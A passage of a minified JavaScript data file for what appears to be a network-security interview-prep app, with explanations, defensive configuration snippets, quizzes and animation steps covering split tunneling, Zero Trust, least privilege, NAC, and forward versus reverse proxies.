Video: Video Traffic FORCED into Corporate VPN ✕`,badge:`Video in VPN ✕`,activeNodes:[`client`,`firewall`],whatIsHappening:`YouTube 4K streaming traffic is routed through corporate VPN gateway.`,interviewTakeaway:`Non-work traffic consumes corporate internet bandwidth.`},{id:9,label:`Step 9: Corporate Gateway Saturates: Bandwidth Congestion & Latency ✕`,badge:`BANDWIDTH BOTTLENECK ✕`,activeNodes:[`firewall`],whatIsHappening:`Corporate WAN circuit hits 100% utilization; VPN performance degrades severely.`,interviewTakeaway:`Full tunneling causes severe bandwidth bottlenecking.`},{id:10,label:`Step 10: Part A Complete: Full Tunneling Security vs Bottleneck Demonstrated`,badge:`Part A Done`,activeNodes:[`client`,`firewall`],whatIsHappening:`Full tunneling provides 100% inspection at the cost of high bandwidth bottlenecks.`,interviewTakeaway:`Full tunneling is secure but expensive and high-latency.`},{id:11,label:`Step 11: PART B: Split Tunneling Mode Configured in Routing Table`,badge:`Split Routing Policy`,activeNodes:[`client`],whatIsHappening:`Routing table split: 10.10.0.0/16 ➔ tun0 (VPN), 0.0.0.0/0 ➔ wlan0 (Local ISP).`,interviewTakeaway:`Split tunneling defines specific subnet routes for the VPN.`},{id:12,label:`Step 12: Client Routing Table Shows Split Destination Paths`,badge:`Routing Table Split`,activeNodes:[`client`],whatIsHappening:`Kernel separates corporate traffic from general public internet traffic.`,interviewTakeaway:`OS kernel routes packets based on destination IP subnet match.`},{id:13,label:`Step 13: User Requests Corporate ERP: Matches 10.10.0.0/16 ➔ Enters VPN`,badge:`Corp ERP ➔ VPN`,activeNodes:[`client`,`firewall`],whatIsHappening:`ERP packet matches 10.10.0.0/16 route and enters secure encrypted VPN tunnel.`,interviewTakeaway:`Corporate traffic remains 100% secure and encrypted.`},{id:14,label:`Step 14: Corporate ERP Server Receives & Responds Over VPN Tunnel`,badge:`ERP Served ✓`,activeNodes:[`server`,`client`],whatIsHappening:`ERP application responds securely through VPN tunnel.`,interviewTakeaway:`Corporate operations operate normally.`},{id:15,label:`Step 15: User Opens YouTube: Matches Default Route ➔ Direct Out Local ISP`,badge:`Direct Local ISP ✓`,activeNodes:[`client`,`server`],whatIsHappening:`YouTube traffic exits local home Wi-Fi directly to public Internet.`,interviewTakeaway:`Internet streaming offloaded from corporate WAN pipe.`},{id:16,label:`Step 16: YouTube Plays in 4K with Zero Corporate Bandwidth Consumed ✓`,badge:`Bandwidth Saved ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Video streams at full speed without touching corporate VPN gateway.`,interviewTakeaway:`Saves 80%+ corporate bandwidth while improving user experience.`},{id:17,label:`Step 17: Security Risk Highlighted: Endpoint Direct Exposure Requires EDR`,badge:`Security Trade-off`,activeNodes:[`client`],whatIsHappening:`Direct internet path bypasses HQ firewall; endpoint must run EDR/Cloud SASE.`,interviewTakeaway:`Split tunneling demands strong endpoint protection (CrowdStrike/EDR).`},{id:18,label:`Step 18: Summary: Split Tunneling Optimizes Bandwidth & Offloads Internet ✓`,badge:`SPLIT TUNNEL VERIFIED ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Dual paths verified: Corporate data secured in VPN, public internet offloaded locally.`,interviewTakeaway:`Modern standard: Split Tunneling + EDR + Cloud SASE.`}]},{id:44,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is the Zero Trust security model, and how is it implemented?`,difficulty:`Advanced`,visualType:`q44-zero-trust`,elevatorPitch:`Zero Trust is a cybersecurity paradigm based on the principle of "Never Trust, Always Verify." Unlike traditional perimeter security (which implicitly trusted anything inside the corporate network), Zero Trust eliminates implicit trust based on network location, requiring continuous identity authentication, endpoint health verification, and dynamic context evaluation for every single session request before granting least-privilege, just-in-time microsegmented access.`,deepDive:`### Core Pillars of Zero Trust (NIST SP 800-207)
1. **Never Trust, Always Verify:** Physical location in the office confers zero implicit access privileges.
2. **Explicit Verification:** Every transaction requires:
   * **Identity & MFA:** Strong user authentication (FIDO2 / PKI certificates).
   * **Device Posture:** Verification that the device is managed, healthy (EDR active), disk encrypted, and fully patched.
   * **Context & Risk Analytics:** Evaluation of geolocation, anomalous time, and behavioral risk scores.
3. **Least Privilege Microsegmentation:** Users are granted access **only to specific authorized applications** (e.g. \`app.finance.corp\`), never to the entire network or subnet.
4. **Assume Breach:** Design networks assuming attackers are already inside; minimize blast radius through micro-perimeters and continuous session re-authentication.

### Zero Trust Architecture (ZTNA) Components
* **Policy Decision Point (PDP):** The central brain (e.g. Entra ID / Okta + CrowdStrike / Intune) that evaluates user identity, device health, and enterprise security policies.
* **Policy Enforcement Point (PEP):** The edge gateway/reverse proxy (e.g. Zscaler ZPA / Cloudflare Access) that dynamically creates ephemeral, just-in-time encrypted micro-tunnels to approved applications.
* **Dark Cloud (Stealth Mode):** Applications have **zero open inbound ports** on the public internet; they communicate outward only to the PEP, making them invisible to port scanners.`,realWorldScenario:`An employee logged into the corporate financial database from their managed corporate laptop (EDR active, BitLocker enabled, FIDO2 MFA verified) and was granted immediate access. An hour later, the same employee attempted to access the database from their personal unmanaged home PC. The Zero Trust Policy Decision Point detected the missing corporate certificate and inactive EDR agent, and immediately denied access, preventing a potential data exfiltration.`,commonTraps:[`Thinking Zero Trust is a single product you can buy (Zero Trust is an architectural framework requiring identity, endpoint, network, and data controls working together).`,`Confusing VPN with ZTNA (VPNs grant broad Layer 3 network access to entire subnets; ZTNA grants granular Layer 7 microsegmented access only to specific applications).`],cliSnippet:`# ZTNA Dynamic Context Policy Example (JSON)
{
  "policy": "Access_Financial_DB",
  "conditions": {
    "identity": "user@corp.com",
    "mfa_verified": true,
    "device_compliance": "Managed_Intune",
    "edr_status": "CrowdStrike_Healthy",
    "risk_level": "Low"
  },
  "action": "GRANT_EPHEMERAL_MICRO_TUNNEL",
  "app_target": "10.10.50.20:443"
}`,quiz:{question:`Which fundamental principle defines the Zero Trust security model?`,options:[`Trust any device connected to the internal office Wi-Fi network`,`Never Trust, Always Verify: eliminate implicit trust based on network location and verify identity and device posture for every session`,`Disable all firewalls and use only passwords`,`Allow all outbound traffic unconditionally`],correctAnswer:1,explanation:`Zero Trust assumes no implicit trust based on physical location; identity, device health, and context must be validated for every request.`},steps:[{id:1,label:`Step 1: Managed Corporate Workstation Appears`,badge:`Corporate Host`,activeNodes:[`client`],whatIsHappening:`Corporate workstation appears with EDR agent and enterprise PKI certificate.`,interviewTakeaway:`Zero Trust begins with verified device identity and health.`},{id:2,label:`Step 2: Zero Trust Policy Decision Point (PDP) Appears`,badge:`PDP Brain`,activeNodes:[`firewall`],whatIsHappening:`Central Policy Decision Point (IdP + Device Posture Engine) appears.`,interviewTakeaway:`The PDP evaluates contextual risk policies dynamically.`},{id:3,label:`Step 3: Zero Trust Policy Enforcement Point (PEP) Appears`,badge:`PEP Gateway`,activeNodes:[`firewall`],whatIsHappening:`ZTNA Policy Enforcement Point (Edge Gateway) appears.`,interviewTakeaway:`The PEP enforces access decisions at the network perimeter.`},{id:4,label:`Step 4: Target Application Appears (Stealth Financial Database)`,badge:`Stealth App`,activeNodes:[`server`],whatIsHappening:`Sensitive Financial Database appears with zero open inbound public ports.`,interviewTakeaway:`Zero Trust applications remain invisible to external port scans.`},{id:5,label:`Step 5: Network Links Connect Zero Trust Architecture`,badge:`ZTNA Fabric`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Encrypted control fabric interconnects Endpoint, PDP, PEP, and Target App.`,interviewTakeaway:`ZTNA architecture decouples control plane from data plane.`},{id:6,label:`Step 6: User Initiates Request to Access Financial Database`,badge:`Access Request`,activeNodes:[`client`,`firewall`],whatIsHappening:`User attempts connection to app.finance.corp.`,interviewTakeaway:`Requests are intercepted by PEP and redirected for evaluation.`},{id:7,label:`Step 7: PEP Intercepts Request & Queries PDP for Evaluation`,badge:`Context Query`,activeNodes:[`firewall`],whatIsHappening:`PEP halts connection and sends identity and device telemetry to PDP.`,interviewTakeaway:`No connection is established before policy verification.`},{id:8,label:`Step 8: PDP Verification 1: Identity & FIDO2 MFA Verified ✓`,badge:`MFA Verified ✓`,activeNodes:[`firewall`],whatIsHappening:`PDP validates user credentials and hardware FIDO2 security key.`,interviewTakeaway:`Strong cryptographic MFA is mandatory in Zero Trust.`},{id:9,label:`Step 9: PDP Verification 2: Device Posture (EDR Healthy, BitLocker ON) ✓`,badge:`Device Posture ✓`,activeNodes:[`firewall`],whatIsHappening:`PDP confirms CrowdStrike EDR is running, OS is patched, and disk is encrypted.`,interviewTakeaway:`Device posture verifies endpoint compliance before granting access.`},{id:10,label:`Step 10: PDP Verification 3: Risk Context Score is LOW ✓`,badge:`Risk Low ✓`,activeNodes:[`firewall`],whatIsHappening:`Risk engine verifies familiar geolocation and standard business hours.`,interviewTakeaway:`Contextual risk analysis prevents anomalous account usage.`},{id:11,label:`Step 11: PDP Issues Dynamic, Ephemeral Microsegmentation Policy`,badge:`Dynamic Grant`,activeNodes:[`firewall`],whatIsHappening:`PDP instructs PEP to grant temporary access exclusively to Financial DB.`,interviewTakeaway:`Grants are time-bound and limited to single application targets.`},{id:12,label:`Step 12: PEP Establishes Just-In-Time Micro-Tunnel Exclusively to DB`,badge:`JIT Micro-Tunnel`,activeNodes:[`firewall`,`server`],whatIsHappening:`PEP builds dynamic micro-segment connecting User strictly to Financial DB.`,interviewTakeaway:`Microsegmentation eliminates lateral network movement.`},{id:13,label:`Step 13: Financial Database Processes Query & Returns Response ✓`,badge:`ACCESS GRANTED ✓`,activeNodes:[`server`,`client`],whatIsHappening:`User interacts with Financial DB securely. Session established successfully.`,interviewTakeaway:`Authorized users access specific applications seamlessly.`},{id:14,label:`Step 14: SCENARIO 2: Same User Connects from Unmanaged Personal PC`,badge:`Unmanaged Device`,activeNodes:[`client`],whatIsHappening:`User attempts connection from personal laptop without corporate EDR.`,interviewTakeaway:`Zero Trust evaluates every session independently of user identity.`},{id:15,label:`Step 15: PDP Evaluates Posture: Missing EDR Agent & Certificates ✕`,badge:`POSTURE FAILED ✕`,activeNodes:[`firewall`],whatIsHappening:`Device posture check fails: Unrecognized hardware, no EDR sensor.`,interviewTakeaway:`Valid credentials on an untrusted device must be rejected.`},{id:16,label:`Step 16: PDP Decision: EXPLICIT DENIAL ➔ PEP Drops Connection ✕`,badge:`EXPLICIT DENIAL ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`PDP instructs PEP to drop connection immediately. Access is blocked.`,interviewTakeaway:`Explicit denial prevents data exfiltration to untrusted endpoints.`},{id:17,label:`Step 17: Financial Database Remains Completely Untouched & Shielded`,badge:`Asset Shielded ✓`,activeNodes:[`server`],whatIsHappening:`Financial database receives zero unauthorized packets.`,interviewTakeaway:`Zero Trust protects critical assets from compromised endpoints.`},{id:18,label:`Step 18: Summary: Never Trust, Always Verify — Continuous Context Evaluation ✓`,badge:`ZERO TRUST VERIFIED ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete Zero Trust lifecycle demonstrated: Compliant passes, unmanaged dropped.`,interviewTakeaway:`Zero Trust is the modern gold standard for enterprise security architecture.`}]},{id:45,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is the Principle of Least Privilege, and why is it critical?`,difficulty:`Beginner`,visualType:`q45-least-privilege`,elevatorPitch:`The Principle of Least Privilege (PoLP) is an information security concept stating that users, processes, and systems should be granted only the minimum necessary access rights and permissions required to perform their specific job functions, and only for the minimum duration required. It is critical because it dramatically reduces the "blast radius" in the event of an account compromise, preventing lateral movement and unauthorized access to sensitive databases.`,deepDive:"### How Least Privilege Works in Network Security\n* **Role-Based Access Control (RBAC):** Permissions are assigned to specific functional roles (e.g. `Helpdesk_Tier1`, `Network_Engineer`, `DBA_Admin`) rather than broad wildcard permissions.\n* **Micro-Firewall Rules:** Instead of allowing a subnet full access (`ANY -> ANY`), firewall policies restrict traffic strictly to necessary ports (e.g. `Helpdesk_User -> Ticketing_Server:443`).\n* **Just-In-Time (JIT) Elevation & PAM:** Administrative permissions are not permanent; engineers request temporary elevated access via Privileged Access Management (PAM) tools for specific change windows.\n\n### Why Least Privilege is Critical (Blast Radius Containment)\n1. **Phishing & Credential Theft:** If a Tier-1 Helpdesk agent’s credentials are stolen, the attacker can only access the ticketing system; they **cannot** connect to the core production SQL database.\n2. **Insider Threat Mitigation:** Limits accidental or intentional data exfiltration by curious or disgruntled employees.\n3. **Malware / Ransomware Containment:** Malware executing in a low-privilege user context cannot encrypt enterprise database volumes or modify network routing tables.",realWorldScenario:"A junior IT helpdesk technician clicked a phishing email, compromising their credentials. Because the company enforced the Principle of Least Privilege on their firewalls and IAM roles, the technician’s account was only permitted to access the internal ticketing system (`helpdesk.corp:443`) and was strictly denied access to the Production SQL Database (`db.prod:1433`). When the attacker attempted to connect to the SQL database, the firewall dropped the connection and alerted the SOC, containing the breach completely.",commonTraps:[`Granting broad admin rights "just to make things work" and planning to restrict them later (Temporary over-privileged permissions are almost never revoked and become massive vulnerabilities).`,`Confusing authentication with authorization (Authentication proves *who you are*; Least Privilege governs *what you are allowed to touch*).`],cliSnippet:`# Least Privilege Firewall Rule Example (Palo Alto Networks)
set security rules "Allow-Helpdesk-Ticketing" from Trust to Trust source-user "corp\\Helpdesk_Tier1" destination 10.10.50.10 application ssl service-port tcp/443 action allow
set security rules "Block-Helpdesk-Production-DB" from Trust to Trust source-user "corp\\Helpdesk_Tier1" destination 10.10.100.50 application ms-sql-db action deny`,quiz:{question:`How does the Principle of Least Privilege (PoLP) protect an organization if a user account is compromised?`,options:[`It automatically changes the user password every 5 minutes`,`It restricts the attacker’s access strictly to the limited resources assigned to that specific user role, preventing lateral movement to critical systems`,`It converts all IP packets into IPv6`,`It reboots the domain controller`],correctAnswer:1,explanation:`Least privilege limits the blast radius of a compromised credential, preventing the attacker from accessing critical systems outside the user’s narrow role.`},steps:[{id:1,label:`Step 1: Authenticated User Appears (Tier-1 IT Helpdesk Agent)`,badge:`Helpdesk User`,activeNodes:[`client`],whatIsHappening:`Tier-1 IT Helpdesk technician logs in with assigned role: Helpdesk_Tier1.`,interviewTakeaway:`Users should be assigned role-specific permission scopes.`},{id:2,label:`Step 2: RBAC Policy & Authorization Engine Appears`,badge:`RBAC Engine`,activeNodes:[`firewall`],whatIsHappening:`Enterprise IAM / Firewall RBAC policy authorization engine appears.`,interviewTakeaway:`RBAC engines map authenticated roles to allowed resources.`},{id:3,label:`Step 3: Resource A: Helpdesk Ticketing System Appears (Port 443)`,badge:`Resource A (Allowed)`,activeNodes:[`server`],whatIsHappening:`Internal ticketing system appears on Port 443 (Authorized resource).`,interviewTakeaway:`Authorized resources match job responsibilities.`},{id:4,label:`Step 4: Resource B: Core Production SQL Database Appears (Port 1433)`,badge:`Resource B (Restricted)`,activeNodes:[`server`],whatIsHappening:`Core production SQL database appears on Port 1433 (Restricted resource).`,interviewTakeaway:`High-value assets require strict administrative privilege.`},{id:5,label:`Step 5: Network Cabling Connects Dual Access Paths`,badge:`Cabling Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network infrastructure links User to RBAC Engine to Resource A and Resource B.`,interviewTakeaway:`Firewalls enforce access control at network boundaries.`},{id:6,label:`Step 6: SCENARIO 1: User Requests Access to Helpdesk Ticketing System`,badge:`Ticketing Req`,activeNodes:[`client`,`firewall`],whatIsHappening:`Technician opens ticketing system: GET /tickets on Port 443.`,interviewTakeaway:`Normal job workflow triggers authorized requests.`},{id:7,label:"Step 7: RBAC Engine Evaluates Role `Helpdesk_Tier1` ➔ Match Found",badge:`Policy Match ✓`,activeNodes:[`firewall`],whatIsHappening:`Policy checks role Helpdesk_Tier1: Permission ALLOW for Ticketing.`,interviewTakeaway:`Explicit allow policies grant access to required tools.`},{id:8,label:`Step 8: Request ALLOWED & Forwarded to Ticketing Server`,badge:`ALLOW ✓`,decision:`ALLOW`,activeNodes:[`firewall`,`server`],whatIsHappening:`RBAC engine permits packet; forward to Ticketing Server.`,interviewTakeaway:`Authorized traffic passes without friction.`},{id:9,label:`Step 9: Ticketing Server Serves Dashboard Data to User ✓`,badge:`Task Complete ✓`,activeNodes:[`server`,`client`],whatIsHappening:`Helpdesk agent performs daily tasks on ticketing system successfully.`,interviewTakeaway:`Business operations proceed efficiently.`},{id:10,label:`Step 10: SCENARIO 2: Compromised Account Attempts Access to Production SQL DB`,badge:`Unauthorized Req`,activeNodes:[`client`,`firewall`],whatIsHappening:`Attacker using technician credentials attempts connection to SQL DB on Port 1433.`,interviewTakeaway:`Attackers attempt lateral movement to discover databases.`},{id:11,label:`Step 11: Request Arrives at RBAC Policy Enforcement Engine`,badge:`Inspect Target`,activeNodes:[`firewall`],whatIsHappening:`RBAC engine inspects target resource: Production SQL DB (Port 1433).`,interviewTakeaway:`All destination ports must undergo authorization checks.`},{id:12,label:`Step 12: RBAC Policy Engine Evaluates Role Permissions`,badge:`Evaluating Role`,activeNodes:[`firewall`],whatIsHappening:`Engine checks: Does Helpdesk_Tier1 have permission for Production SQL DB?`,interviewTakeaway:`Least privilege denies access to resources outside job scope.`},{id:13,label:"Step 13: Permission Absent: Role Lacks `DBA_Admin` Privilege",badge:`Privilege Absent`,activeNodes:[`firewall`],whatIsHappening:`Production SQL requires DBA_Admin privilege. User role does NOT have this permission.`,interviewTakeaway:`Missing privileges trigger security blocks.`},{id:14,label:`Step 14: Access DENIED ➔ Packet DROPPED at Firewall Interface ✕`,badge:`DENY ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`RBAC engine blocks connection immediately. Packet is discarded.`,interviewTakeaway:`Explicit denial stops unauthorized data access.`},{id:15,label:`Step 15: Security Audit Log Generated: Privilege Escalation Attempt`,badge:`Audit Alert Dispatched`,activeNodes:[`firewall`],whatIsHappening:`Firewall dispatches audit log: %FW-4-ACCESS-DENIED: Unauthorized SQL access by user.`,interviewTakeaway:`Audit logging alerts SOC to potential credential abuse.`},{id:16,label:`Step 16: Blast Radius Containment Demonstrated: SQL DB Untouched ✓`,badge:`Blast Radius Contained`,activeNodes:[`server`],whatIsHappening:`Production SQL DB receives zero packets; customer data remains 100% safe.`,interviewTakeaway:`Blast radius containment prevents single compromise from destroying enterprise.`},{id:17,label:`Step 17: Core Security Principle: Give Minimum Permissions for Minimum Time`,badge:`Core Principle`,activeNodes:[`firewall`],whatIsHappening:`Admins receive elevated access only via Just-In-Time (JIT) PAM elevation.`,interviewTakeaway:`Never grant persistent wildcard administrative rights.`},{id:18,label:`Step 18: Summary: Least Privilege Prevents Lateral Movement & Breach ✓`,badge:`LEAST PRIVILEGE VERIFIED ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete demonstration: Allowed for ticketing, blocked for SQL database.`,interviewTakeaway:`The Principle of Least Privilege is foundational to zero trust security.`}]},{id:46,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is Network Access Control (NAC) and how does it work?`,difficulty:`Intermediate`,visualType:`q46-nac-access`,elevatorPitch:`Network Access Control (NAC) is an enterprise security solution that enforces security policy compliance on all endpoints attempting to connect to the corporate network. Using IEEE 802.1X and RADIUS (e.g. Cisco ISE or Aruba ClearPass), NAC evaluates both endpoint identity (authentication) and device posture (antivirus, OS patches, firewall status), dynamically assigning compliant devices to production VLANs and quarantining non-compliant devices to remediation VLANs.`,deepDive:`### Three Core Functions of NAC
1. **Authentication (Who are you?):** Uses **IEEE 802.1X / EAP-TLS** with enterprise PKI certificates to verify that the device is a legitimate corporate asset.
2. **Posture Assessment (Are you healthy?):** Evaluates endpoint hygiene before granting access:
   * Is corporate Antivirus running with definitions updated within 7 days?
   * Is BitLocker / FileVault full disk encryption enabled?
   * Are critical OS security hotfixes installed?
   * Is the local host firewall active?
3. **Dynamic Authorization & VLAN Assignment (Where can you go?):**
   * **Compliant Devices:** RADIUS returns \`Tunnel-Private-Group-ID = 10\` (Production VLAN with access to enterprise servers).
   * **Non-Compliant / Stale Devices:** RADIUS returns \`Tunnel-Private-Group-ID = 99\` (Quarantine / Remediation VLAN with access ONLY to patch servers and antivirus update mirrors).
   * **Guest / Unknown Devices:** Redirected to a Captive Portal for guest registration.`,realWorldScenario:`An employee returned to the office after a 6-month sabbatical and plugged their laptop into an office Ethernet port. The Cisco switch intercepted the 802.1X handshake and forwarded it to Cisco ISE. While the user’s certificate was valid, the posture assessment engine detected that the laptop’s Windows security patches were 180 days out of date. Cisco ISE dynamically assigned the switch port to Quarantine VLAN 99, allowing the laptop to reach the Windows Update server but blocking all access to the corporate production network until patches were installed.`,commonTraps:[`Assuming NAC is only for Wi-Fi networks (NAC applies equally to wired switch ports via 802.1X and VPN remote access connections).`,`Thinking 802.1X authentication alone is sufficient (Authentication proves identity; posture assessment proves the device is not infected or vulnerable).`],cliSnippet:`# Cisco Switch 802.1X / RADIUS NAC Configuration
aaa new-model
aaa authentication dot1x default group radius
aaa authorization network default group radius
interface GigabitEthernet0/1
 switchport mode access
 authentication port-control auto
 dot1x pae authenticator`,quiz:{question:`What action does a NAC system take when an authenticated corporate device fails its security posture check?`,options:[`It formats the hard drive immediately`,`It dynamically assigns the device to a Quarantine/Remediation VLAN to update definitions while blocking production access`,`It grants full access to the production network`,`It disables all DNS servers`],correctAnswer:1,explanation:`NAC quarantines non-compliant devices onto a restricted VLAN where they can update security patches without risking production network contamination.`},steps:[{id:1,label:`Step 1: Connecting Corporate Laptop Arrives at Switch Port`,badge:`Endpoint Ingress`,activeNodes:[`client`],whatIsHappening:`Corporate laptop connects to edge switch port Gi0/1.`,interviewTakeaway:`Connecting devices must be evaluated before gaining network access.`},{id:2,label:`Step 2: 802.1X Authenticator (Switch Port) in Default Closed State`,badge:`Closed Port`,activeNodes:[`switch`],whatIsHappening:`Switch port blocks all IP traffic; permits only 802.1X EAPOL frames.`,interviewTakeaway:`802.1X ports remain closed to user traffic until authorized.`},{id:3,label:`Step 3: Central NAC Server (Cisco ISE / ClearPass) Appears`,badge:`NAC Server`,activeNodes:[`firewall`],whatIsHappening:`Central RADIUS / NAC policy server appears.`,interviewTakeaway:`NAC servers act as policy decision points.`},{id:4,label:`Step 4: Production VLAN 10 & Quarantine VLAN 99 Appear`,badge:`VLAN Targets`,activeNodes:[`server`],whatIsHappening:`Production VLAN 10 (Core) and Quarantine VLAN 99 (Remediation) appear.`,interviewTakeaway:`NAC uses dynamic VLAN steering for policy enforcement.`},{id:5,label:`Step 5: Network Cabling Connects NAC Architecture`,badge:`NAC Fabric`,activeNodes:[`client`,`switch`,`firewall`,`server`],whatIsHappening:`Infrastructure links Endpoint to Switch to NAC Server to VLANs.`,interviewTakeaway:`RADIUS communicates over standard UDP 1812/1813.`},{id:6,label:`Step 6: Endpoint Initiates 802.1X EAP-TLS Authentication Handshake`,badge:`EAPOL Frame`,activeNodes:[`client`,`switch`],whatIsHappening:`Client transmits EAP-TLS certificate identity in EAPOL frame.`,interviewTakeaway:`EAP-TLS provides strong cryptographic mutual authentication.`},{id:7,label:`Step 7: Switch Encapsulates EAPOL into RADIUS Access-Request to NAC`,badge:`RADIUS Access-Req`,activeNodes:[`switch`,`firewall`],whatIsHappening:`Switch converts EAPOL to RADIUS Access-Request and sends to ISE.`,interviewTakeaway:`The switch acts as an 802.1X authenticator proxy.`},{id:8,label:`Step 8: NAC Server Validates Client PKI Certificate (Identity Verified ✓)`,badge:`Identity Validated ✓`,activeNodes:[`firewall`],whatIsHappening:`NAC server checks certificate validity against Enterprise CA.`,interviewTakeaway:`Identity authentication confirms the machine is a corporate asset.`},{id:9,label:`Step 9: Posture Assessment Phase: Evaluating Endpoint Health Telemetry`,badge:`Posture Check`,activeNodes:[`firewall`,`client`],whatIsHappening:`NAC agent checks: Antivirus updated? BitLocker active? OS patched?`,interviewTakeaway:`Posture assessment verifies device hygiene and security controls.`},{id:10,label:`Step 10: SCENARIO A: Compliant Host (Antivirus Updated, BitLocker ON)`,badge:`POSTURE PASSED ✓`,activeNodes:[`firewall`],whatIsHappening:`All posture criteria pass. Device is fully patched and secure.`,interviewTakeaway:`Compliant devices qualify for full production access.`},{id:11,label:"Step 11: NAC Returns RADIUS Access-Accept with `Tunnel-Group = 10`",badge:`RADIUS Accept: VLAN 10`,activeNodes:[`firewall`,`switch`],whatIsHappening:`NAC sends RADIUS Accept with VSA specifying VLAN 10 (Production).`,interviewTakeaway:`RADIUS VSAs instruct the switch to switch port VLANs dynamically.`},{id:12,label:`Step 12: Switch Unblocks Port & Assigns Production VLAN 10 ✓`,badge:`ACCESS GRANTED ✓`,activeNodes:[`switch`,`server`],whatIsHappening:`Switch unblocks port; client communicates seamlessly with Production VLAN 10.`,interviewTakeaway:`Healthy devices access corporate servers normally.`},{id:13,label:`Step 13: SCENARIO B: Non-Compliant Host (Outdated Antivirus & Disabled Firewall)`,badge:`Non-Compliant Host`,activeNodes:[`client`],whatIsHappening:`Second laptop connects with stale antivirus definitions (>30 days old).`,interviewTakeaway:`Stale endpoints represent significant malware contagion risks.`},{id:14,label:`Step 14: NAC Posture Evaluation FAILS ✕`,badge:`POSTURE FAILED ✕`,activeNodes:[`firewall`],whatIsHappening:`NAC engine detects security definition violation. Posture fails.`,interviewTakeaway:`Failing posture triggers automated quarantine enforcement.`},{id:15,label:"Step 15: NAC Returns RADIUS Access-Accept with `Tunnel-Group = 99`",badge:`RADIUS Accept: VLAN 99`,activeNodes:[`firewall`,`switch`],whatIsHappening:`NAC returns RADIUS Accept with VSA specifying Quarantine VLAN 99.`,interviewTakeaway:`Quarantine VLANs isolate vulnerable hosts from production assets.`},{id:16,label:`Step 16: Switch Dynamically Assigns Port to Quarantine VLAN 99 ⚠`,badge:`QUARANTINED ⚠`,activeNodes:[`switch`,`server`],whatIsHappening:`Switch moves port into Quarantine VLAN 99; Production access is BLOCKED.`,interviewTakeaway:`Access to corporate servers is completely cut off.`},{id:17,label:`Step 17: Host Restricted Exclusively to Remediation / Patch Server`,badge:`Remediation Only`,activeNodes:[`client`,`server`],whatIsHappening:`Laptop can only communicate with Patch Server to download updates.`,interviewTakeaway:`Automated remediation restores host compliance without IT intervention.`},{id:18,label:`Step 18: Summary: NAC Combines Auth + Posture Assessment + Dynamic VLANs ✓`,badge:`NAC ENFORCEMENT VERIFIED ✓`,activeNodes:[`switch`,`firewall`,`server`],whatIsHappening:`Complete NAC lifecycle: Healthy ➔ Prod VLAN 10; Non-compliant ➔ Quarantine VLAN 99.`,interviewTakeaway:`NAC guarantees that only healthy, authenticated endpoints access corporate assets.`}]},{id:47,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is the difference between a forward proxy and a reverse proxy?`,difficulty:`Beginner`,visualType:`q47-forward-vs-reverse-proxy`,elevatorPitch:`A forward proxy sits in front of client devices (protecting and concealing the clients) to manage and filter outbound requests to the public internet, providing anonymity, URL filtering, and caching. A reverse proxy sits in front of backend web servers (protecting and concealing the servers) to intercept and distribute inbound client traffic, providing SSL offloading, load balancing, DDoS defense, and caching.`,deepDive:`### Forward Proxy (Client-Side Shield)
* **Position:** Sits in the internal enterprise network between internal clients and the public internet.
* **Role:** **"I know who the client is; the internet server does not."**
* **Key Capabilities:**
  * **Client Anonymity:** Hides internal private IP addresses (\`10.0.0.50\`) by making requests using the proxy's public IP.
  * **Enterprise Content Filtering:** Blocks malicious URLs, adult categories, and enforces Data Loss Prevention (DLP).
  * **Bandwidth Caching:** Caches frequently downloaded files locally to reduce external WAN consumption.

### Reverse Proxy (Server-Side Shield & Load Balancer)
* **Position:** Sits at the public internet perimeter in front of internal backend web servers.
* **Role:** **"I know who the backend servers are; the public internet client does not."**
* **Key Capabilities:**
  * **Server Concealment:** Public clients connect to the proxy VIP (\`198.51.100.20\`); backend server IPs (\`10.1.0.11\`, \`10.1.0.12\`) are never exposed.
  * **SSL/TLS Termination:** Offloads CPU-heavy TLS handshakes from backend application servers.
  * **Load Balancing:** Distributes incoming HTTP requests across redundant server nodes using Round-Robin, Least Connections, or IP Hash.
  * **Web Application Security:** Integrates WAF inspection and DDoS mitigation directly in front of applications.`,realWorldScenario:`An enterprise deployed a forward proxy (Zscaler) so that all 5,000 employee laptops had their outbound web browsing filtered for malware and their internal IP addresses hidden from the internet. Simultaneously, the company deployed a reverse proxy cluster (NGINX / Cloudflare) in front of their customer banking application to terminate TLS certificates, mitigate DDoS attacks, and load-balance traffic across 10 backend application nodes.`,commonTraps:[`Confusing which entity is protected (A Forward Proxy protects the **client**; a Reverse Proxy protects the **server**).`,`Thinking proxies operate at Layer 3 (Proxies operate primarily at Layer 7 / Application Layer, terminating TCP sessions and inspecting HTTP/HTTPS payloads).`],cliSnippet:`# NGINX Reverse Proxy & Load Balancer Configuration
upstream backend_cluster {
    server 10.1.0.11:8080 weight=1;
    server 10.1.0.12:8080 weight=1;
}
server {
    listen 443 ssl;
    server_name app.company.com;
    ssl_certificate /etc/ssl/cert.pem;
    location / {
        proxy_pass http://backend_cluster;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}`,quiz:{question:`Which of the following is a primary function of a Reverse Proxy?`,options:[`Hiding internal employee client IP addresses when browsing public websites`,`Sitting in front of backend web servers to provide SSL termination, load balancing, and server IP concealment`,`Assigning DHCP IP addresses to local laptops`,`Translating IPv4 addresses to IPv6 on routers`],correctAnswer:1,explanation:`Reverse proxies sit in front of web servers to manage incoming client traffic, offload SSL, and load-balance across backend servers.`},steps:[{id:1,label:`Step 1: Internal Enterprise Client Appears (10.0.0.50)`,badge:`Internal Client`,activeNodes:[`client`],whatIsHappening:`Internal LAN employee workstation appears ready to browse the web.`,interviewTakeaway:`Forward proxies manage client outbound traffic.`},{id:2,label:`Step 2: Corporate Forward Proxy Server Appears (10.0.0.1)`,badge:`Forward Proxy`,activeNodes:[`firewall`],whatIsHappening:`Corporate Forward Proxy (Squid / Zscaler) appears at client perimeter.`,interviewTakeaway:`Forward proxies act on behalf of internal 